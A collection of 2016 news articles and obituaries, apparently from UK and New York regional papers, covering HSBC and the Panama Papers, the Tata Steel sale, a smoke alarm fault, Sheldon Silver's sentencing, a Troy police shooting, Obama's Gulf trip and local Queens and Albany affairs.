Flint added that the bank's economic research was 'very clear about the advantages of Britain being at the heart of a reformed EU' but said that the vote remained for the British people.

Meanwhile, HSBC spoke to investors about the leaked files from law firm Mossack Fonseca  dubbed the Panama Papers, which have revealed that HSBC and its affiliates set up 2,300 shell companies in tax havens across the world to enable wealthy clients to avoid taxes.

Flint denied the allegations and said: 'The so-called Panama Papers have highlighted once again how perfectly legal corporate structures can be abused to facilitate money laundering and tax evasion or to obscure ill-gotten gains.

'We have already made great strides to enforce transparency and full disclosure as a consequence of the issues we have been dealing with in our Swiss private bank.'

He added: 'While there are lessons to be learned from the revelations, the circumstances alleged in the Panama Papers with regard to HSBC are largely historical, in some cases dating back 20 years, and so pre-date the tough financial crime, regulatory compliance and tax transparency standards which HSBC has put in place in recent years.'

HSBC also made international headlines last year after a leak of files revealed the banks Swiss arm had serviced suspected tax evaders.
FRENCH DRAG The moribund French economy is holding back the recovery in the eurozone, according to the latest figures.

Markits index of activity in the nation  where 50 is the cut off between growth and decline  came in at just 50.5 this month.

That was well below the German score of 53.8 and contributed to a score of 53 across the eurozone.

Chris Williamson, chief economist at Markit, said: Germany and the rest of the region are enjoying more robust expansions by comparison.

VW WOES Troubled German car giant Volkswagen has posted a net loss of 1.2billion for crisis-hit 2015.

It fell into the red from the 11.4billion profit seen the year before.

VW has also more than doubled the amount it is setting aside to cover the fines and fixes for its emissions scandal from 5.2billion to 12.5billion.

CAKE DEAL Mr Kipling cake-maker Premier Foods is in a relationship with Japanese food group Nissin, after US rival McCormick walked away from trying to buy Premier.

Noodle-maker Nissin owns nearly 20 per cent of Premier and, under the terms of the relationship agreement, it has the right to appoint a non-executive director to Premiers board.

Last month, Premiers chief executive Gavin Darby was criticised by shareholders over his handling of the takeover talks with McCormick. Shares fell 0.64 per cent or 0.25p to 39p.

TAXING TIMES Offshore tax receipts from the oil and gas industry fell to 35million last year, underlining the crisis gripping the industry following the slump in the price of crude.

HM Revenue & Customs said offshore corporation tax raised 538million in 2015-16, but that was offset by rebates of 503million.

The 35million difference compares with tax revenues of around 2billion in 2014-15 and almost 11billion as recently as 2011-12.

EMISSIONS SCANDAL Shares in Daimler fell 5 per cent after the Mercedes owner said it had been asked by the US Department of Justice to investigate the way it tests emissions.
The UK Government has promised financial backing to buyers interested in Tata Steel equivalent to a 25 per cent stake in the foundering company.

Business Secretary Sajid Javid said the money would be offered on commercial terms, but the government would not take any control over the business.

The surprise commitment comes after details of a proposed management buyout bid for Tata Steel's Port Talbot plant emerged last night. Senior managers are attempting a move which would also see thousands of steel workers asked to contribute around 10,000 to safeguard their jobs at the troubled plant.

Rescue plan: The plan to save the Port Talbot steelworks would see workers asked to contribute around 10,000 each

The managers have won backing from Welsh billionaire Sir Terry Matthews' Canadian investment firm Wesley Clover to try to save the plant which directly employs 4,000 workers.

A package of support worth hundreds of millions of pounds will be made available on commercial terms to potential buyers of Tata Steel, The UK and Welsh governments have announced.

The Business Department said the financial support package will be tailored to the purchaser's strategy and financing needs.

The majority of the backing will be through the provision of debt financing - but other options include providing hybrid (convertible debt) or alternative forms of financing and supporting a purchaser's financing by taking a minority equity stake of up to 25 per cent to support any sale.

The move followed another visit to Mumbai by Business Secretary Sajid Javid to meet Tata's chairman Cyrus Mistry this week where the minister said progress on the sales process had been made.

The Government said it was actively working with Tata Steel and the British Steel Pension Scheme's trustees to find a solution that will help minimise its impact on a potential purchaser, and potentially separate it from the business.

Mr Javid said: 'This Government is committed to supporting the steel industry to secure a long-term, viable future and we are working closely with Tata Steel UK on its process to find a credible buyer. The detail of our commercial funding offer is clear evidence of the extent of that commitment.

'Ministers have visited Tata Steel sites across the country and the pride and dedication of the highly skilled men and women working there is obvious to see. We have already delivered on energy compensation, on tackling unfair trading practices and on procurement of British steel, and we will keep on going further to support this vital industry.'

Matthews is putting together a consortium of investors which also includes Steve Phillips, chief executive of the local council.

Matthews arrived in the country yesterday to lead talks.

Port Talbot was put up for sale last month by Indian owner Tata who decided to pull out of the UK altogether after rejecting a 100m rescue plan because it was unaffordable.

It would mean up to 7,000 staff and contractors at the South Wales plant will lose their jobs if a buyer cannot be found.

Tata issued a sales memorandum last week that was distributed to 190 potential buyers. Senior managers at Port Talbot led by boss Stuart Wilkie who has begun work on a bid.

On Monday they met with Simon Gibson, chief executive of Wesley Clover at the Celtic Manor hotel in Newport, which is owned by Matthews, to develop proposals to create a new stand-alone UK business.

Threat: Port Talbot was put up for sale last month by Indian owner Tata after it decided to pull out of the UK, putting at risk the jobs of about 7,000 staff and contractors at the South Wales plant

A spokesman for Tata Steel said: All expressions of interest, including any Management Buy Out proposals, will be considered when received.

Separately the American Iron and Steel Institute (AISI) put out a statement yesterday (Wed) on behalf of eight governments expressing disappointment and frustration at China for refusing to address the problem of a glut of supply of steel.
One of Britains biggest smoke alarm manufacturers has admitted that nearly 100,000 of its most popular devices are faulty.

Coventry-based Sprue Aegis told shareholders on Monday that some alarms beep for a change of battery long before necessary.

At the time, sources said only a very small number were affected but the companys chief executive yesterday told the Mail that he already knows of 90,000 problem alarms. It is thought that number could rise as complaints flood in.

Risk: Smoke alarm manufacturer Sprue Aegis admits that nearly 100,000 of its most popular devices are faulty

The defective smoke alarms represent a growing crisis for the company, whose shares have more than halved this week  costing investors and its bosses millions.

Sprue Aegis makes a range of home safety devices such as smoke and heat alarms and carbon monoxide detectors, under brands including First Alert, FireAngel, AngelEye and Sona.

Its products are sold by Tesco, B&Q and Amazon and it supplies British Gas and the UK fire and rescue service.

Three alarm models have been affected by the fault  the FireAngel ST-620 and ST-622, which cost 14.99, and the WST-630 which costs 39.99. More than 5m of these smoke alarms have been sold in the UK.

They are sealed, which means the battery cannot be changed, and guaranteed for ten years.

But the company has admitted dodgy batteries may cause a premature low battery warning chirp to sound in some of its alarms.

Chief executive Neil Smith conceded that chirping alarms are a nuisance but insisted that they still worked and that safety was not an issue.

The company has increased the money set aside to cover claims from customers whose faulty alarms are still under warranty, from 5.5million to 6.8million.

The companys shares crashed 54 per cent to 122.5p on Monday and closed at 120p last night, making the firm worth just 55million, down from a figure of 123million at the start of the week.

Executive chairman Graham Whitworth, 62, has seen the value of his 7.3 per cent holding in the company fall from 8.9million to 4million, a loss of 4.9million.
Feature film Trung so(Jackpot) won the Vietnam Golden Kite Award 2015

(Photo: VNA)

Actress Ninh Duong Lan Ngoc, who plays the role of Ut Thom in Jackpot, won Best Actress, while her colleague Nguyen Thanh Tu bagged Best Actor for his role in "Cau Vong Khong Sac" (Rainbow Without Colour).

The film was selected as the Vietnamese entry for Best Foreign Language Film at the 88th Academy Awards but it was not nominated.

The film, based on the true story of Lanh, a lottery ticket seller in the southern province of Dong Thap, is set in 2011. One day, a delivery tricycle driver orders some lottery tickets from Lanh and promises to pay and take the tickets later.

Lanh finds that the tickets the driver ordered have won VND6.6 billion (USD300,000). She takes the tickets to the driver and informs him about his good fortune, instead of claiming the prize herself.

Silver Kite awards were given to Cuoc Doi Cua Yen (Life of Yen) by director Dinh Tuan Vu, Nguoi Tro Ve (The Returner) by Dang Thai Huyen, and Toi Thay Hoa Vang Tren Co Xanh (Yellow Flowers on Green Grass).

The series "Tuoi Thanh Xuan" (Forever Young) secured the Golden Kite award in the TV Series category. The Golden Kite award for Best Actress in a TV Series also was presented to Nha Phuong as Linh in "Tuoi Thanh Xuan".

Actors Viet Anh and Quang Tuan were named Best Actor in a TV Series for their roles in Khi dan chim tro ve (When the Birds Come Back), and Khuc Hat Mat Troi (The Song of Sun), respectively./.
By Henry Euler

The New York City Council recently voted overwhelmingly to approve Mayor deBlasios two zoning proposals aimed at increasing the amount of affordable and senior housing units in our city. The bills are the Mandatory Inclusionary Housing and Zoning for Quality and Affordability text amendments.

Almost everyone recognizes the need for housing units that working New Yorkers and our senior citizens can afford. However, the mayors proposals attack the rezonings that so many of us have worked so hard to achieve in order to maintain the character of our communities and to stem the tide of overdevelopment and inappropriate development.

The mayors proposals approach zoning on the basis of a one-size-fits-all mentality. But in reality, what would be acceptable in one part of our city may be totally unacceptable in another part. Thats why it took years to accomplish the contextual rezonings that civic and community groups worked on and lobbied for in all parts of the city. Each community was examined individually and rezoned based on the housing stock already in place.

With MIH and ZQA, that did not happen. The measures were rushed through in one years time. Both measures received strong support from the real estate industry. Some modifications were made to both the MIH and the ZQA after the City Planning Commission and City Council hearings. But the overall impact to our communities will be the same. More dense development and less parking requirements in many areas will be the norm.

Why werent the changes brought back to the residents for their consideration? Remember that 50 out of 59 community boards across the city rejected these proposals as they were originally written as well as the majority of the borough presidents. All of these people represent us, the taxpayers! We should be thankful to the City Council members who voted against these measures.

Henry Euler

Bayside
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By Madina Toure

The U.S. Senate passed a long-term Federal Aviation Administration bill Tuesday that may require the Port Authority and the FAA to re-examine LaGuardia Airports flight paths and the NextGen satellite navigation system.

The bill, which the Senate passed by a vote of 95-3, requires the FAA to review certain decisions to exclude an environmental impact study for Next Generation flight procedures and to get advice from the airports where the procedures will be implemented.

The bill, which now goes to the House of Representatives for debate, reauthorizes FAA programs through the end of fiscal year 2017.

U.S. Rep. Joe Crowley (D-Jackson Heights), a member of the Queens Quiet Skies Caucus, said the House needs to act now that the Senate has passed the bill.

Ultimately, we need a bill that gives the FAA a firmer ground on which to stand and that protects the flying public as well as addresses the burdensome, excessive aircraft noise pollution that is plaguing our communities, Crowley said.

An FAA spokesman said the agency does not comment on proposed legislation.

U.S. Rep. Grace Meng (D-Flushing), another member of the Queens Quiet Skies Caucus, said she has repeatedly called on the FAA to combat aircraft noise over Queens and to further involve the community in the process, saying residents need relief.

I will continue to support and advocate for legislation that accomplishes these goals, and I look forward to reviewing this particular provision when it comes before the House, Meng said.

The bill includes an amendment introduced by Arizona Republican Sens. Jeff Flake and John McCain requiring the FAA to establish an airspace management advisory committee to review and report to Congress on the agencys process for developing proposals that affect airspace changes.

The committee would examine how the FAA coordinates both internally within the agency and externally with stakeholders on the proposals.

City Councilman Peter Koo (D-Flushing) said the bill is a step in the right direction in that it at least seems to require the FAA to consider the impact of low-flying airplanes over downtown Flushing, but it will not stop it.

It remains to be seen whether this (advisory) committee, which notably lacks community representation in favor of airline, airport and aviation officials, will actually take our best interests into consideration, Koo said.

Susan Carroll, a Flushing community advocate, said she is disappointed that the bill has no provision for lowering the noise metric from a day-night average sound level of 65 decibelsestablished by the FAA in 1981 as the level at which federal funding could be provided for noise mitigation strategiesto 55 DNL, the standard most countries use.

But she praised McCain and Flake for getting their amendment into the bill, saying that New Yorks two Democratic senators, Kirsten Gillibrand and Charles Schumer, have not done enough work to advocate against airplane noise.

She said she hopes the bill will at least lead to an evaluation of the TNNIS Climb, a departure path that stretches over northeast Queens, and NextGen.

Carroll also expressed concerns that without a reduction in the noise metric, the FAA could review the flight paths again and say that there is not a significant effect.

I would hope that there is political pressure put on the Port Authority to request that review,  Carroll said. Thats the very least that can be done at this point.
By Prem Calvin Prashad

In the midst of the worlds largest refugee crisis since World War II, much is made of the fact that among the arrivals in Europe are not only Iraqis and Syrians, but refugees from as far off as Afghanistan and Bangladesh. Though typically dismissed as economic migrants attempting to use the crisis to subvert typical immigration controls, many claim political or religious persecution.

The United States has been largely absent from the refugee question. While efforts are being made to reform the onerous screening process, refugees who attempt to take matters into their own hands find themselves subject to an immigration detention system that activists have long decried as inhuman. For South Asian asylum seekers who voluntarily present themselves to authorities at the southern border, their journey is likely to have involved a number of Central American countries.

On April 3, acting on a February agreement between the United States and Bangladeshi governments to deport 159 asylum seekers, Immigrations and Customs Enforcement oversaw the repatriation of 85 Bangladeshis, Indians and Nepalis, chartering a plane to return them to South Asia. Specifically, the detainees included Bangladeshis that claim persecution from the ruling political party and Punjabi Sikhs who claim religious and political persecution by the Indian government.

The detainees rose to national prominence after nearly a hundred declared a hunger strike on Thanksgiving Day last year. The Freedomgiving strikes had started in October, with 54 asylum seekers at the El Paso Detention Center in Texas, and spread to approximately 200 participants, across nine other detention sites by the end of the year. Allegations of retaliation by ICE against the strikers, including coercive use of solitary confinement, were denied by the agency, citing detainee policy. Per ICE policy, a detainee is considered on a hunger strike after refusing nine consecutive meals.

One group, Desis Rising Up and Moving, based in Jackson Heights, took the lead on advocating for these detainees, sharing the hashtags, #FreedomGiving and #Deported2Death on social media, highlighting the danger in repatriating asylum seekers. Strikers who were released from ICE custody joined up with the group, sharing harrowing stories of their detention.

In December, the group pushed and received responses on the status of the strikers from the three major Democratic candidates for President at the time. Former Maryland Gov. Martin OMalley, who met with some of the strikers that had been released, criticized the immigration detention system and called for greater due process for the detained. Vermont Sen. Bernie Sanders criticized the use of private prisons to house asylum seekers and pushed alternatives to detention, including allowing detainees to remain with family while awaiting their day in court. A spokesman for Hillary Clinton said she was also opposed to both private detention centers and family detention for parents and children who arrive in this country in desperate situations.

In a letter to Homeland Security Secretary Jeh Johnson and Secretary of State John Kerry, Congressman Joseph Crowley (D-Jackson Heights) called for a halt to the deportations, questioning whether detainee cases were given adequate consideration for the severity of the danger they might face, as well as concern over the public release of the names of some asylum seekers.

The group has blamed divisive campaign rhetoric, but also the current administrations policies for the deportations and has contended that the asylum seekers and their families are in grave danger, as the deportation agreement is with the government from which they sought protection. On April 8, DRUM held a community funeral for the deportees in Jackson Heights. ICE defended the deportations, noting through a spokesman, that all asylum seekers had been given the opportunity to make their case in court before the issuance of an order of removal.
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By Mark Hallum

The Masbia Soup Kitchen in Rego Park got some help from a realty firm last week.

According to Alexander Rapaport, co-founder and executive director of the Masbia network of kosher soup kitchens and food pantries, Stanley Schuckman of Schuckman Realty held a coorporate volunteer day at the all-kosher facility. Not only did he provide the labor for the meal that night, he also distributed cash for everybody who dined in the kitchen that day.

The Masbia Soup Kitchen specializes in supplying kosher goods to homeless residents across Queens and Brooklyn. Their kitchens serve hot meals five days a week and provides a pantry program during Passover. This consists of nine meals for the eight days of the Jewish holiday during which Masbia does not operate.

Our mission is to feed everyone, Rapaport told the TimesLedger in 2014. We happen to be kosher, but our mission is to feed all of New Yorks hungry.

When Schuckman held his corporate volunteer day April 14, donations of labor, goods and cash were made.

Stanley began handing out $10 bills to all the people who showed up, according to Rapaport. And when he ran out of money, he went to the ATM and got more.

Rapaport estimated that around 400 people were fed during the meal.

Thats in addition to a four-figure check they left to help out with the Passover distribution known as the Charoset Drive.

The Schuckmans making generous donations is nothing new, according to Rapaport. They have a history of donating hundreds of cans of tuna to the predominantly Bukharian Jewish non-profit organization.

The Masbia Soup Kitchen is located at 98-08 Queens Blvd. Schuckman Realty is based in Lake Success.
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Robert W. Hrabovsky went to meet his Lord, Savior and Friend on Saturday, April 16, 2016.

A public graveside service with full military honors will be conducted at 3 p.m. on Friday, April 22, 2016, at Crestview Memorial Park with Dr. Douglas Kabell, pastor of St. Paul Lutheran Church, officiating. Arrangements are under the direction of Lunn's Colonial Funeral Home.

Robert was born to Joseph and Frieda (Schuette) Hrabovsky on February 16, 1929, in Reedsburg, Wisconsin. Upon graduating from Reedsburg High School, he enlisted in the United States Air Force, where he proudly served his country for 25 years with deployments to the Philippine Islands, Korea and Vietnam. During his Air Force career, where Robert was a teacher and administrator of the technical schools, he received many awards, including the Bronze Star and the United States Meritorious Award. During this time, Robert also met the love of his life, Ms. Diana Flynt, of Nocona, Texas. They spent over 60 years together raising a family and volunteering in their community.

Upon completion of his Air Force Service, Robert went on to complete his education and graduated Summa Cum Laude with a Master's Degree in Education from Midwestern University. He then spent the next 15 years teaching in the WFISD at Hirschi High School and Barwise Junior High School, where he was honored with several awards in teaching from the West Foundation. Robert had a passion for teaching and concentrated his efforts on initiating the LEAD science program while teaching classes in earth, life and physical sciences.

Robert was a lifetime member of the DAV and the Texas Retired Teachers Association, and a volunteer at Interfaith Ministries. He was a longtime member of St. Paul Lutheran Church, where he held a number of offices including elder, president of the congregation and Sunday school superintendent and teacher. Along with his parents, Robert was also preceded in death by his sister, and his loving wife, Diana, who passed away on March 2, 2016. He is survived by his two daughters, Diana Kathleen Hrabovsky of Arlington, Texas, and Suzanne Hrabovsky of Ennis, Texas. The family will receive friends from 5:30 until 7 p.m. on Thursday, April 21, 2016, at Lunn's Colonial Funeral Home.

For those desiring, memorial contributions may be sent to Hospice of Wichita Falls, 4909 Johnson Road, Wichita Falls, Texas 76310, United Regional Cancer Fund or St. Paul Lutheran Church. Condolences may be sent to the family at www.lunnscolonial.com.
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Walgreens will pay $500,000 to settle the latest case of a company accused of duping New York consumers over prices.

The state attorney general's office said Thursday that an undercover investigation found instances in which Walgreens used misleading advertising in its stores. It also accused the nation's largest drugstore chain of overcharging customers.
AMSTERDAM  Students will be dismissed as normal Friday after schools in the Greater Amsterdam School District were on lockout following reports of a possible threat, according to the district's website.

All after-school activities at the high school Friday were canceled.
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Troy

The police sergeant who fatally shot a man who authorities say pinned the officer with his car early Sunday will not face criminal charges, Rensselaer County District Attorney Joel Abelove's office said Friday.

Abelove said a grand jury declined to indict Sgt. Randall French for the shooting that killed 37-year-old Edson Thevenin of Watervliet, who authorities said fled a traffic stop shortly before the deadly encounter on the Collar City Bridge.

In doing so, Abelove said, the panel determined French's "use of deadly physical force was justifiable under the law."

"My heartfelt sympathies go out to the French and Thevenin families," Abelove said in a brief statement. "Hopefully, the community can begin to heal now that the grand jury has concluded its investigation."

The grand jury's decision not to charge French comes amid what appeared to be turf skirmish in the immediate aftermath of the shooting between local authorities and state Attorney General Eric Schneiderman's office over who would investigate Thevenin's death.

Last year, Gov. Andrew Cuomo gave the attorney general the power to investigate police killings of unarmed civilians. A law enforcement source told the Times Union earlier this week that no weapon was found on Thevenin or in his vehicle.

Police Chief John Tedesco acknowledged he initially instructed investigators not to share any information about the case with any agency other than Abelove's office until the question over who had jurisdiction over the case was resolved.

It was not immediately clear Friday evening what if any investigation Schneiderman's office might still be pursuing or how the grand jury's action might affect it.

Former Albany County District Attorney Paul Clyne was Schneiderman's investigator assigned to the incident. On Monday, Abelove said Clyne had told him Schneiderman did not plan to claim jurisdiction. But on Tuesday, Schneiderman's office wrote to Abelove to request his investigative files "to ascertain whether or not jurisdiction over this matter properly lies with your office or the OAG,"

Troy police spokesman Capt. Daniel DeWolf said Friday that the department had no comment on the grand jury's decision not to charge French.

Four days earlier, Tedesco forcefully backed his officer, saying "it would appear that the actions of Sgt. French are certainly in line with the law, department policy and his training."

Thevenin, who authorities said was suspected of driving drunk, was shot after police say he fled a traffic stop around 3:30 a.m. on Sixth Avenue between Hutton and Hoosick streets and then crashed into a barrier after trying to make a U-turn on the Collar City Bridge.

French blocked Thevenin's car from the front with his patrol vehicle while another officer blocked his escape from the rear, authorities said.

Thevenin, a married father of two, then allegedly backed into the cruiser behind him and accelerated forward toward French, pushing the officer against his cruiser, authorities said.

At that point, French fired eight shots from his service pistol at least some of them through the windshield of Thevenin's car  killing him, authorities said.

French, who police said repeatedly ordered Thevenin to stop his car before opening fire, was treated at Albany Medical Center Hospital for soft tissue injuries to his legs and released.

jcarleo-evangelist@timesunion.com  518-454-5445  @JCEvangelist_TU
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Albany

A loving family man who devoted his political talents to helping society's most vulnerable. A calculating grafter who bent the legislative process to service his greed.

Those are the divergent portraits of former Assembly Speaker Sheldon Silver presented in court documents submitted Wednesday, less than two weeks before his scheduled May 3 sentencing.

Citing crimes that "struck at the core of democratic governance," federal prosecutors say in their filing that the Democrat deserves a prison term of at least 10 years, but preferably one "greater than any sentence imposed on other New York State legislators convicted of public corruption offenses."

"Silver's crimes corrupted the institution that he led for more than 20 years," says the submission from the office of U.S. Attorney Preet Bharara. "As a fixture in the legislative leadership, an entire generation of New York legislators served in an institution framed by his corrupt example."

The longest public corruption sentence handed down in recent state history, according to a chart included in the government's submission, is the 14-year term handed down to former Democratic Assemblyman William Boyland Jr. last year following his conviction on bribery charges.

A 10-year sentence was recommended for Silver by the independent U.S. Probation Office, which also concluded the former legislative leader should face forfeiture amounting to $5.2 million plus a $1 million fine.

First elected to the Assembly in 1976, the 72-year-old former Lower Manhattan lawmaker lost his leadership post after his stunning January 2015 arrest. Silver was convicted in November of taking millions in bribes and kickbacks  camouflaged as legal fees  in exchange for legislative favors doled out to a doctor who referred mesothelioma patients to a law firm where Silver was of counsel. A second firm received business from Glenwood Management, the real estate company that in recent years has been the state's most generous political donor.

Based on federal guidelines, Silver could face a sentence of more than 27 years.

The government's filing compares Silver's crimes to those of several other recently convicted lawmakers  including Boyland as well as state Sens. Malcolm Smith and Carl Kruger, and Assemblymen Efrain Gonzalez and Tony Seminario  and conclude that the former speaker's transgressions were worse in almost every particular.

"Importantly, there is no excuse or mitigating factor warranting imposition of a lesser sentence for Silver's criminal conduct," the filing states. "Silver engaged in a long-running abuse of power for no reason other than personal financial gain."

The document calls for a level of forfeiture that would make up for the fact that Silver will receive a $70,000-per-year public pension. ("Perhaps not surprisingly," a footnote archly observes, "efforts to pass legislation to prevent convicted elected officials from collecting State-funded pensions failed in the Assembly under Silver's leadership.")

His attorneys, meanwhile, are seeking a sentence below the federal guidelines, "possibly coupled with home confinement and community service."

In a letter to the court included in the defense's filing, Silver admitted that he "failed the people of New York," without specifying how.

"What I have done has hurt the Assembly, and New York, and my constituents terribly, and I regret that more than I can possibly express," he writes in a letter that runs just past a page. "Because of my actions, New York's ethics rules were and continue to be analyzed, evaluated, and criticized, everywhere. I worked hard for many years to make sure the Assembly and its members were respected as a vital legislative body. Because of me, the government has been ridiculed."

It marked the first time Silver has offered anything but defiance in regard to the charges against him.

The defense team's sentencing submission paints Silver as a devoted father and grandfather still living with his wife of 49 years in the co-op apartment where he grew up. His public service, the defense states, has benefited the economically disadvantaged, women, the elderly and victims of disasters ranging from 9/11 to Superstorm Sandy.

The papers also reveal Silver was diagnosed last year with prostate cancer, which is now in remission after treatment.

"Mr. Silver is a man who, even after his conviction, receives respect, praise, and gratitude from his former constituents and colleagues," says the defense, which follows up by quoting former New York City Mayor David Dinkins on Silver's integrity.

The defense dismissed last week's unsealing of a heavily redacted federal court filing that revealed prosecutors had uncovered what they described as evidence of Silver having two extramarital affairs with women whose careers benefited from their connections to him. Silver's attorneys calls those assertions "unproven, scandalous allegations."

"In truth, virtually no one can withstand the excruciating light that public officials can face when the government chooses to focus its spotlight at them," the defense states.

Silver's team also argues "the people of this state did not tangibly suffer from any of the official acts Mr. Silver allegedly performed" in exchange for the legal fees to the two firms where he worked. (Neither firm was charged with wrongdoing.)

Prosecutors acknowledge Silver's age, health and family circumstances, but their sympathy is limited.

"While the court can and should take these circumstances into account," they write, "the described personal difficulties faced by an educated, accomplished professional, who had plenty of options other than illegal conduct, are not any more sympathetic than those of the many less-privileged defendants that are routinely sentenced to significant terms of imprisonment in this District, many of whom are of advanced age and have similar health concerns."

Silver will learn his fate just nine days before the sentencing of former Senate Majority Leader Dean Skelos of Long Island, who was convicted in December of swapping official favors for income and other benefits received by his son, Adam, who was also convicted alongside his father  another case pursued by Bharara's office.

Good-government groups are hoping the back-to-back sentencings prompt Albany's new leaders to pass comprehensive ethics reform before the end of the legislative session June 16. Gov. Andrew Cuomo has said that push will be among his top agenda items in the weeks remaining.
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Services will be held Monday in Florida for the Rev. Rene Robert, the 71-year-old Catholic priest from the Capital Region who was found dead April 11 in Georgia.

The Diocese of St. Augustine scheduled prayer vigil at 7 p.m. Monday at San Sebastian Catholic Church in that city. A funeral Mass will be held Tuesday.

SEE THE DIOCESE WEBSITE

Steven James Murray, 28, of Jacksonville, Fla., is charged with Robert's killing. Police said the priest was shot several times.

According to Robert's obituary, "As horrific as his death was, Father Rene Robert would not want us to remember him for the way he died but rather how he lived."

Robert was born Sept. 2, 1944. He was the adopted son of the late Bernadette and Donat Robert of Waterford.

He graduated from St. Mary's School in Waterford and Catholic Central High School, Troy. He most recently served in the Diocese of St. Augustine.

He is survived by his brother, Brian Robert of Waterford and sister Deborah Bedard of Watervliet as well as his half-sister Joan McAndrew of Cambridge. Another sister, Cecile "Terry" Adams, died in 2012.

In lieu of flowers, the family requested donations in memory of Father Rene Robert to the Florida School for the Deaf and Blind and San Sebastian Catholic Church to continue his deaf ministry there.

Craig Funeral Home Crematory Memorial Park is in charge of the arrangements.

As yet, there are no details for a service in the Capital Region.

READ THE FULL OBITUARY HERE.
Riyadh, Saudi Arabia

President Barack Obama strained to ease tensions with Persian Gulf allies Thursday, pledging U.S. help in confronting Iran and other security threats. Yet he failed to win the commitments he sought to boost economic aid to Iraq.

Obama's trip to Saudi Arabia  the fourth and probably last of his presidency  did not result in any major breakthroughs. Obama said Gulf leaders attending the regional summit had agreed to step up the campaign against the Islamic State group, but did not lay out specifics. He described the talks as a chance to clear up misperceptions among allies, insisting the U.S. and Gulf partners had "tactical differences" but similar goals.

"A lot of the strain was always overblown," Obama said as he closed a two-day trip here.

Saudi Arabia, like other Sunni-led countries in the region, has been wary of Obama's nuclear deal with Iran and skeptical of his approach in Syria. Obama came to the Gulf Cooperation Council meeting not only to urge its members to do more to tackle thorny security challenges but also to offer his own reassurance.

His brief visit, though, illustrated the limits of what can be achieved when Gulf budgets are stretched by a slump in oil prices and the region is eagerly looking beyond Obama to his successor. Obama leaves office in January after eight years that Saudi leaders saw as heralding a shift in traditional U.S. loyalties away from Saudi Arabia and toward Iran.

Obama, in meetings with Saudi King Salman, the ruling emirs of Qatar and Kuwait and others, appealed for more financial and political support to help Iraq. Yet the leaders appeared reluctant to invest until Iraq's government overcomes a political crisis and better integrates Sunnis into the process.

In a change in tone from just a day earlier, Obama said the U.S. and its Gulf partners should wait to see whether Iraq can resolve the crisis before committing more aid. He warned that the paralysis is impeding U.S.-led efforts to defeat the Islamic State group and reconstruct war-damaged Iraq.

"Right now in Baghdad, there's some big challenges," Obama said. "Until that's settled, I think it's important for us to make sure that any additional stabilization dollars that we put in are going to be effectively spent."

Obama praised Iraqi Prime Minister Haider al-Abadi as a "good partner" for the U.S. but and said he was concerned about his grip on power. Increasing pressure on Iraqi leaders, Obama said it was vital for the country to finalize a Cabinet so the nation can focus on profound long-term problems.

"They've got a lot on their plate," Obama said. "Now is not the time for government gridlock or bickering."

Ben Rhodes, Obama's deputy national security adviser, said there was no discussion of calls in the U.S. for the release of 28 pages of a report on the Sept. 11 attacks believed to shed light on possible Saudi connections. The controversy has led some in Congress to push legislation allowing families of 9/11 victims to sue the Saudi government for compensation.

The White House opposes the legislation, arguing it could expose Americans overseas to legal risks.

The Gulf states remain concerned about Obama's willingness to negotiate with Shiite powerhouse Iran, amid fears that the deal to curb Iranian moves toward nuclear weapons will lead to a rebalancing of regional stances at their expense. Obama said the U.S. would live up to its commitments under the deal to grant sanctions relief to Tehran while remaining vigilant about destabilizing activities including arms shipments to Houthi rebels in Yemen that the U.S. has helped intercept. "None of our nations have an interest in conflict with Iran," Obama said before flying to London, the next stop on his three-country trip.

The president's hopes of winding down U.S. military engagement in the Mideast have repeatedly been confounded by conflicts that have flared in countries struggling to contain extremists. Obama said the U.S. would boost security cooperation to address threats in Libya and support a fledgling U.N.-brokered unity government there. He urged all parties to abide by a nascent cease-fire in Yemen, where a Saudi-led coalition is fighting on the side of an internationally recognized government against Shiite rebels and their allies.
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It's alive.

Albany County has a fully staffed ethics commission for the first time since lawmakers overhauled the county ethics law nearly five years ago.

Democratic Majority Leader Frank Commisso this week announced the appointments of retired state Supreme Court Justice Joseph Teresi and Shari Calnero, a former lawyer for the state Joint Commission on Public Ethics, to fill out the five-member panel.

Commisso called Teresi and Calnero "proven leaders who will ensure Albany County officials and employees maintain the highest ethical standards."

More Information Contact Jordan Carleo-Evangelist at 518-454- 5445 or email jcarleo-evangelist@timesunion.com. On Twitter: @JC Evangelist_TU See More Collapse

Teresi, a Democrat who retired in 2014, will be the second former judge on the commission, joining former Republican state Supreme Court Justice Bernard "Bud" Malone, who was one of County Executive Dan McCoy's two picks.

McCoy's other pick was Rabbi Scott Shpeen of Congregation Beth Emeth in Albany. Shpeen, notified the county recently of plans to step down, but McCoy's office said it will replace him with the Rev. James Lefebvre, pastor emeritus at St. Mary's on Lodge Street in Albany.

Calnero, also a Democrat, works as an attorney for state Office of Parks, Recreation and Historic Preservation and previously spent nine years as a lawyer to JCOPE, the state's ethics watchdog.

Republican Minority Leader Frank Mauriello, meanwhile, has appointed Republican Michael Rest, a former member of Guilderland's ethics board.

The lack of a functioning county ethics commission became a campaign issue last year for both Democratic legislative leadership and McCoy.

Commisso ran unopposed for re-election, but a breakaway group of Democrats who backed a rival candidate for legislative chair criticized him for not making appointments to the panel, which among other things is empowered to investigate ethics complaints against county officials, offer advice on potential conflicts of interest and recommend disciplinary action and refer matters to law enforcement.

(Commisso had previously named two commissioners who later decided they could not serve, a spokesman said.)

McCoy's Democratic rival, Dan Egan, also accused the executive during last year's primary of not properly staffing the commission and funding it at just $250. The commissioners are unpaid but are eligible for reimbursement of expenses.

The commission has not met once as a fully constituted body since the ethics overhaul was passed in 2011 after about four years of legislative wrangling over its language.

Democratic Albany Legislator Christopher Higgins, a member of the Reform Coalition, welcomed Teresi and Calnero's appointments.

"This is something that we've been talking about and beating the drum on since last year," Higgins said, "and we're all very pleased that we're taking some action to address appointments to our ethics body."

No more than two members of the commission can be from the same political party, and commissioners cannot be political party officials or county employees.

The law counsels that they should be chosen based on their "independence, integrity, civic commitment and high ethical standards."

Odds don't scare Cohoes Republican

As a Republican running against a 20-year incumbent in a very blue district, Christopher Davis clearly isn't afraid of a challenge.

So what's one more?

Davis, 31, who is challenging state Sen. Neil Breslin in the 44th Senate District this year, was named Cohoes Republican chairman effective Thursday, the candidate said.

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Davis said the move makes sense because his Senate campaign is already working to boost Republican enrollment in the Spindle City, long a Democratic stronghold.

(So long, in fact, that Democratic Chairman Gil Ethier, a committee member since 1960, on Thursday couldn't recall a single Republican being elected to anything.)

"I'm a moderate guy, and there's so many dissenting voices in the city, and I talk to people every day, and people are just tired of the one-party stuff," Davis said. "You look at the city and you tell me if it's gotten better in the last 20 years."

